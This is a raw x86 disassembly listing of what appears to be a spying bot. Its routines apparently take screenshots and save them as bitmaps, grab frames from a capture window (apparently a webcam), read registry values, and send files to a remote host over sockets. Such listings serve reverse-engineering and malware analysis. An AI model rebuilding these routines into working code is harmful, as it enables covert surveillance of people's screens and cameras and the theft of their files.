push offset dword_436884
push eax
push dword ptr [ebp-11Ch]
call sub_409A72
add esp, 14h
loc_4152E0: ; CODE XREF: ___:004152C0j
cmp byte ptr [ebp-98h], 0
jz short loc_415300
lea eax, [ebp-98h]
push eax
call sub_41B779
test eax, eax
pop ecx
mov [ebp-4], eax
jz short loc_415300
mov [ebp-8], eax
loc_415300: ; CODE XREF: ___:004152E7j
; ___:004152FBj
and dword ptr [ebp+8], 0
mov esi, offset dword_4CF24C
loc_415309: ; CODE XREF: ___:00415361j
mov eax, [ebp+8]
cmp eax, [ebp-8]
jge short loc_415363
cmp byte ptr [esi], 0
jz short loc_415352
cmp byte ptr [ebp-98h], 0
jz short loc_415338
cmp dword ptr [ebp-4], 0
jnz short loc_415338
lea eax, [ebp-98h]
push eax
push esi
call sub_418086
pop ecx
test eax, eax
pop ecx
jz short loc_415352
loc_415338: ; CODE XREF: ___:0041531Dj
; ___:00415323j
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_409A72
add esp, 14h
loc_415352: ; CODE XREF: ___:00415314j
; ___:00415336j
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4D324C
jl short loc_415309
loc_415363: ; CODE XREF: ___:0041530Fj
lea eax, [ebp-31Ch]
push offset dword_436868
push eax
call sub_41B886
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_41539D
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_409A72
add esp, 14h
loc_41539D: ; CODE XREF: ___:0041537Bj
lea eax, [ebp-31Ch]
push eax
call sub_4151AC
push dword ptr [ebp-18h]
call sub_40B412
pop ecx
pop ecx
push esi
nop
; ---------------------------------------------------------------------------
db 0E8h, 0C3h, 0B5h
; ---------------------------------------------------------------------------
inc esi
add bl, [edi+5Eh]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_4CB610
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_4155F0
push 8
push edi
call dword_4CB62C
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_4CB62C
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_4CB62C
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_41541E
push 18h
push edi
call dword_4CB62C
mov ebx, 100h
jmp short loc_415420
; ---------------------------------------------------------------------------
loc_41541E: ; CODE XREF: sub_4153BC+50j
xor ebx, ebx
loc_415420: ; CODE XREF: sub_4153BC+60j
push edi
call dword_4CB670
cmp eax, esi
mov [ebp+var_4], eax
jz loc_4155D5
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_4CB668
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_4155E0
push eax
push [ebp+var_4]
call dword_4CB4F4
cmp eax, esi
jz loc_4155E0
cmp eax, 0FFFFFFFFh
jz loc_4155E0
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_4CB66C
test eax, eax
jz loc_4155E0
cmp ebx, esi
jz short loc_4154DD
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_4CB548
mov ebx, eax
loc_4154DD: ; CODE XREF: sub_4153BC+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
call near ptr 28B0703h
nop
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_4155C0
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
nop
call near ptr 28A0000h
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
call near ptr 28A0000h
nop
cmp ebx, esi
jz short loc_4155A2
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
call near ptr 28A0000h
nop
loc_4155A2: ; CODE XREF: sub_4153BC+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
call near ptr 28A0000h
nop
push [ebp+arg_0]
call near ptr 28005AFh
nop
push 1
pop esi
loc_4155C0: ; CODE XREF: sub_4153BC+1A2j
push [ebp+var_1C]
call dword_4CB580
push [ebp+var_4]
call dword_4CB4E0
mov edi, [ebp+var_20]
loc_4155D5: ; CODE XREF: sub_4153BC+70j
push edi
call dword_4CB4E0
mov eax, esi
jmp short loc_4155F2
; ---------------------------------------------------------------------------
loc_4155E0: ; CODE XREF: sub_4153BC+C7j
; sub_4153BC+D9j ...
push edi
call dword_4CB4E0
push [ebp+var_4]
call dword_4CB4E0
loc_4155F0: ; CODE XREF: sub_4153BC+23j
xor eax, eax
loc_4155F2: ; CODE XREF: sub_4153BC+222j
pop edi
pop esi
pop ebx
leave
retn
sub_4153BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D3250
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CB574
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_415635
mov eax, esi
jmp loc_4157EB
; ---------------------------------------------------------------------------
loc_415635: ; CODE XREF: sub_4155F7+35j
push edi
call dword_4CB5C4
test eax, eax
jz short loc_415652
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CB680
jmp short loc_415654
; ---------------------------------------------------------------------------
loc_415652: ; CODE XREF: sub_4155F7+47j
xor eax, eax
loc_415654: ; CODE XREF: sub_4155F7+59j
cmp eax, ebx
jnz short loc_41565F
loc_415658: ; CODE XREF: sub_4155F7+88j
; sub_4155F7+BCj
mov ebx, esi
jmp loc_4157E0
; ---------------------------------------------------------------------------
loc_41565F: ; CODE XREF: sub_4155F7+5Fj
push edi
call dword_4CB5C4
test eax, eax
jz short loc_41567C
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CB680
loc_41567C: ; CODE XREF: sub_4155F7+71j
cmp [ebp+var_20], ebx
jz short loc_415658
push edi
call dword_4CB5C4
test eax, eax
mov edi, 42Ch
jz short loc_4156A2
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_4CB680
mov [ebp+arg_4], eax
jmp short loc_4156A5
; ---------------------------------------------------------------------------
loc_4156A2: ; CODE XREF: sub_4155F7+98j
mov [ebp+arg_4], ebx
loc_4156A5: ; CODE XREF: sub_4155F7+A9j
push [ebp+arg_4]
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_415658
push [ebp+arg_4]
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4156CC
push 1
pop ebx
jmp loc_4157E0
; ---------------------------------------------------------------------------
loc_4156CC: ; CODE XREF: sub_4155F7+CBj
push [ebp+var_4]
call dword_4CB5C4
test eax, eax
jz short loc_4156E9
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CB680
loc_4156E9: ; CODE XREF: sub_4155F7+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_41C310
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_415704
mov ecx, 280h
loc_415704: ; CODE XREF: sub_4155F7+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_415710
mov eax, 1E0h
loc_415710: ; CODE XREF: sub_4155F7+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CB5C4
test eax, eax
mov edi, 42Dh
jz short loc_41575A
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CB680
loc_41575A: ; CODE XREF: sub_4155F7+153j
push [ebp+var_4]
call dword_4CB5C4
test eax, eax
jz short loc_415777
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_4CB680
loc_415777: ; CODE XREF: sub_4155F7+16Ej
push [ebp+var_4]
call dword_4CB5C4
test eax, eax
jz short loc_415796
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_4CB680
loc_415796: ; CODE XREF: sub_4155F7+18Bj
push [ebp+var_4]
call dword_4CB5C4
test eax, eax
jz short loc_4157B3
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CB680
loc_4157B3: ; CODE XREF: sub_4155F7+1AAj
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB5C4
test eax, eax
jz short loc_4157E0
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_4CB680
loc_4157E0: ; CODE XREF: sub_4155F7+63j
; sub_4155F7+D0j ...
push [ebp+var_4]
call dword_4CB6D4
mov eax, ebx
loc_4157EB: ; CODE XREF: sub_4155F7+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4155F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D3250
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CB574
mov edi, eax
cmp edi, ebx
jnz short loc_41582E
mov eax, esi
jmp loc_415A2A
; ---------------------------------------------------------------------------
loc_41582E: ; CODE XREF: sub_4157F0+35j
push edi
call dword_4CB5C4
test eax, eax
jz short loc_41584B
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CB680
jmp short loc_41584D
; ---------------------------------------------------------------------------
loc_41584B: ; CODE XREF: sub_4157F0+47j
xor eax, eax
loc_41584D: ; CODE XREF: sub_4157F0+59j
cmp eax, ebx
jnz short loc_415858
loc_415851: ; CODE XREF: sub_4157F0+8Bj
; sub_4157F0+BCj
mov ebx, esi
jmp loc_415A21
; ---------------------------------------------------------------------------
loc_415858: ; CODE XREF: sub_4157F0+5Fj
push edi
call dword_4CB5C4
test eax, eax
jz short loc_415878
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CB680
loc_415878: ; CODE XREF: sub_4157F0+71j
cmp [ebp+var_7C], ebx
jz short loc_415851
push edi
call dword_4CB5C4
test eax, eax
jz short loc_41589B
push ebx
push ebx
push 42Ch
push edi
call dword_4CB680
mov [ebp+arg_4], eax
jmp short loc_41589E
; ---------------------------------------------------------------------------
loc_41589B: ; CODE XREF: sub_4157F0+96j
mov [ebp+arg_4], ebx
loc_41589E: ; CODE XREF: sub_4157F0+A9j
push [ebp+arg_4]
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_415851
push [ebp+arg_4]
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4158C5
push 1
pop ebx
jmp loc_415A21
; ---------------------------------------------------------------------------
loc_4158C5: ; CODE XREF: sub_4157F0+CBj
push edi
call dword_4CB5C4
test eax, eax
jz short loc_4158E2
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_4CB680
loc_4158E2: ; CODE XREF: sub_4157F0+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_41C310
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4158FD
mov ecx, 0A0h
loc_4158FD: ; CODE XREF: sub_4157F0+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_415907
push 78h
pop eax
loc_415907: ; CODE XREF: sub_4157F0+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CB5C4
test eax, eax
jz short loc_41594C
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CB680
loc_41594C: ; CODE XREF: sub_4157F0+14Aj
push edi
call dword_4CB5C4
test eax, eax
jz short loc_415969
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_4CB680
loc_415969: ; CODE XREF: sub_4157F0+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_4CB5C4
test eax, eax
jz short loc_4159A7
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_4CB680
loc_4159A7: ; CODE XREF: sub_4157F0+1A3j
push edi
call dword_4CB5C4
test eax, eax
jz short loc_4159C2
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_4CB680
loc_4159C2: ; CODE XREF: sub_4157F0+1C0j
push edi
call dword_4CB5C4
test eax, eax
jz short loc_4159DB
push ebx
push ebx
push 43Eh
push edi
call dword_4CB680
loc_4159DB: ; CODE XREF: sub_4157F0+1DBj
push edi
call dword_4CB5C4
test eax, eax
jz short loc_4159F8
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CB680
loc_4159F8: ; CODE XREF: sub_4157F0+1F4j
push [ebp+var_4]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push edi
call dword_4CB5C4
test eax, eax
jz short loc_415A21
push ebx
push ebx
push 40Bh
push edi
call dword_4CB680
loc_415A21: ; CODE XREF: sub_4157F0+63j
; sub_4157F0+D0j ...
push edi
call dword_4CB6D4
mov eax, ebx
loc_415A2A: ; CODE XREF: sub_4157F0+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4157F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_4368B4, ebx
mov [ebp+var_C], 80h
jz loc_415BD0
push esi
push edi
mov eax, offset off_4368B4
mov esi, offset dword_4368C0
mov edi, offset dword_437AB8
loc_415A5F: ; CODE XREF: sub_415A2F+199j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_4CB694
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4CB524
test eax, eax
jnz loc_415BB6
mov eax, [esi]
cmp eax, ebx
jz loc_415B7A
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset dword_429A8C
push eax
call sub_41B886
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_41B4C2
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_415BB6
push eax
loc_415AD8: ; CODE XREF: sub_415A2F+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41BB4F
add esp, 0Ch
test eax, eax
jz loc_415B6F
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_415B05
push [ebp+var_8]
jmp short loc_415AD8
; ---------------------------------------------------------------------------
loc_415B05: ; CODE XREF: sub_415A2F+CFj
push 3Dh
push dword ptr [esi+4]
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_415B33
lea eax, [ebp+var_70]
push offset asc_437AB4 ; "="
push eax
call sub_41C0F4
push offset asc_437AB4 ; "="
push ebx
call sub_41C0F4
add esp, 10h
jmp short loc_415B36
; ---------------------------------------------------------------------------
loc_415B33: ; CODE XREF: sub_415A2F+E4j
lea eax, [ebp+var_70]
loc_415B36: ; CODE XREF: sub_415A2F+102j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_2F0]
push ebx
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_2F0]
push eax
call sub_4151AC
add esp, 18h
loc_415B6F: ; CODE XREF: sub_415A2F+B9j
push [ebp+var_8]
call sub_41B05B
pop ecx
jmp short loc_415BB6
; ---------------------------------------------------------------------------
loc_415B7A: ; CODE XREF: sub_415A2F+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_2F0]
push eax
call sub_4151AC
add esp, 28h
loc_415BB6: ; CODE XREF: sub_415A2F+60j
; sub_415A2F+A2j ...
push [ebp+var_4]
call dword_4CB600
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_415A5F
pop edi
pop esi
loc_415BD0: ; CODE XREF: sub_415A2F+19j
pop ebx
leave
retn
sub_415A2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415BD3 proc near ; CODE XREF: ___:00416278p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CB6A4
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415C4F
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB624
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CB664
cmp eax, esi
jnz short loc_415C34
push [ebp+arg_0]
call dword_4CB6A8
test eax, eax
jz short loc_415C4F
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415C34: ; CODE XREF: sub_415BD3+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB5CC
cmp eax, esi
jnz short loc_415C53
push edi
call dword_4CB6BC
loc_415C4F: ; CODE XREF: sub_415BD3+1Bj
; sub_415BD3+58j
mov eax, esi
jmp short loc_415C55
; ---------------------------------------------------------------------------
loc_415C53: ; CODE XREF: sub_415BD3+73j
mov eax, edi
loc_415C55: ; CODE XREF: sub_415BD3+7Ej
pop edi
pop esi
leave
retn
sub_415BD3 endp
; ---------------------------------------------------------------------------
byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo
dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h
dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h
dd 858D5275h, 0FFFFEE4Ch, 437B3468h, 0DBE85000h, 3300005Bh
dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h
dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h
dd 246AC91h, 43D7D868h, 6DE85300h, 5900003Fh, 59FFF883h
dd 858D5975h, 0FFFFEE4Ch, 437B0468h, 77E85000h, 3300005Bh
dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h
dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
dd 6DE850FFh, 59FFFFF4h, 0BC15FF53h, 0FF004CB6h, 0C3E8F075h
dd 59FFFF56h, 26E89056h, 6A0246ACh, 7E89064h, 330240A8h
dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 3C15FF53h, 85004CB6h
dd 8D387EC0h, 0FFEE4C85h, 0A06868FFh, 0E8500042h, 6124h
dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
dd 0AFE89064h, 6A0240A7h, 5580E80Ah, 0C085FFFFh, 8DA37559h
dd 0FFEE4C85h, 7AD068FFh, 0E8500043h, 5AB2h, 59F87D39h
dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch
dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h
dd 5359FFFFh, 0B6BC15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh
dd 46AB64E8h
db 2, 90h
; ---------------------------------------------------------------------------
loc_415E1A: ; DATA XREF: sub_401ACD+7831o
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1FCh]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp-10h], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp-0Ch], esi
mov [ebp-20h], esi
call dword_4CB6A4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-18h], edi
jnz short loc_415E68
push offset unk_437C34
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415E68: ; CODE XREF: ___:00415E5Cj
push 10h
lea eax, [ebp-30h]
push esi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-30h], 2
push esi
call dword_4CB624
mov [ebp-2Eh], ax
lea eax, [ebp-30h]
push 10h
push eax
push edi
mov [ebp-2Ch], esi
call dword_4CB650
test eax, eax
jz short loc_415EA6
push offset unk_437C10
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415EA6: ; CODE XREF: ___:00415E9Aj
lea eax, [ebp-1Ch]
mov dword ptr [ebp-1Ch], 10h
push eax
lea eax, [ebp-30h]
push eax
push edi
call dword_4CB5C8
push dword ptr [ebp-2Eh]
call dword_4CB554
mov [ebp-4], eax
lea eax, [ebp-1E0h]
push eax
mov [ebp+8], esi
call sub_41AFE0
pop ecx
loc_415ED8: ; CODE XREF: ___:00415F09j
mov ecx, [ebp+8]
mov al, [ebp+ecx-1E0h]
cmp al, 20h
jnz short loc_415EEB
push 5Fh
pop eax
jmp short loc_415EEE
; ---------------------------------------------------------------------------
loc_415EEB: ; CODE XREF: ___:00415EE4j
movsx eax, al
loc_415EEE: ; CODE XREF: ___:00415EE9j
mov [ebp+ecx-604h], al
lea eax, [ebp-1E0h]
inc ecx
push eax
mov [ebp+8], ecx
call sub_41AFE0
cmp [ebp+8], eax
pop ecx
jbe short loc_415ED8
push ebx
push edi
call dword_4CB64C
test eax, eax
jz short loc_415F21
push offset unk_437B34
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415F21: ; CODE XREF: ___:00415F15j
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp-1E0h]
push 80000000h
push eax
nop
call near ptr 28B0703h
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_415F4B
push offset unk_437BF0
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415F4B: ; CODE XREF: ___:00415F3Fj
push esi
push eax
nop
call near ptr 28E0A73h
mov [ebp+8], eax
push eax
movzx eax, word ptr [ebp-4]
push eax
push dword ptr [ebp-1FCh]
call sub_40AC0F
pop ecx
push eax
call dword_4CB664
push eax
call dword_4CB620
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset dword_437BD8
push eax
call sub_41B886
push esi
lea eax, [ebp-3FCh]
push esi
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
add esp, 2Ch
lea eax, [ebp-38h]
mov dword ptr [ebp-38h], 3Ch
mov [ebp-34h], esi
push eax
push esi
lea eax, [ebp-500h]
push esi
push eax
push esi
mov [ebp-4FCh], edi
mov [ebp-500h], ebx
call dword_4CB60C
test eax, eax
jg short loc_415FFB
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_437BC0
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
jmp loc_41611F
; ---------------------------------------------------------------------------
loc_415FFB: ; CODE XREF: ___:00415FD9j
lea eax, [ebp-14h]
mov dword ptr [ebp-14h], 10h
push eax
lea eax, [ebp-48h]
push eax
push edi
call dword_4CB6B8
cmp eax, 0FFFFFFFFh
mov [ebp-1F8h], eax
jnz short loc_416034
push offset unk_437B9C
loc_416021: ; CODE XREF: ___:00415E63j
; ___:00415EA1j ...
lea eax, [ebp-3FCh]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_416122
; ---------------------------------------------------------------------------
loc_416034: ; CODE XREF: ___:0041601Aj
push edi
call dword_4CB6BC
cmp [ebp+8], esi
jz loc_4160E6
mov edi, 400h
loc_416049: ; CODE XREF: ___:004160DDj
mov eax, [ebp+8]
mov [ebp-4], edi
cmp eax, edi
jge short loc_416056
mov [ebp-4], eax
loc_416056: ; CODE XREF: ___:00416051j
push edi
lea eax, [ebp-0A04h]
push esi
push eax
call sub_41B590
mov eax, [ebp+8]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push dword ptr [ebp-8]
call near ptr 2920000h
nop
lea eax, [ebp-20h]
push esi
push eax
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8]
nop
call near ptr 28B0000h
push esi
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-1F8h]
call dword_4CB674
mov [ebp-4], eax
push esi
cdq
add [ebp-10h], eax
lea eax, [ebp-0A04h]
push edi
push eax
push dword ptr [ebp-1F8h]
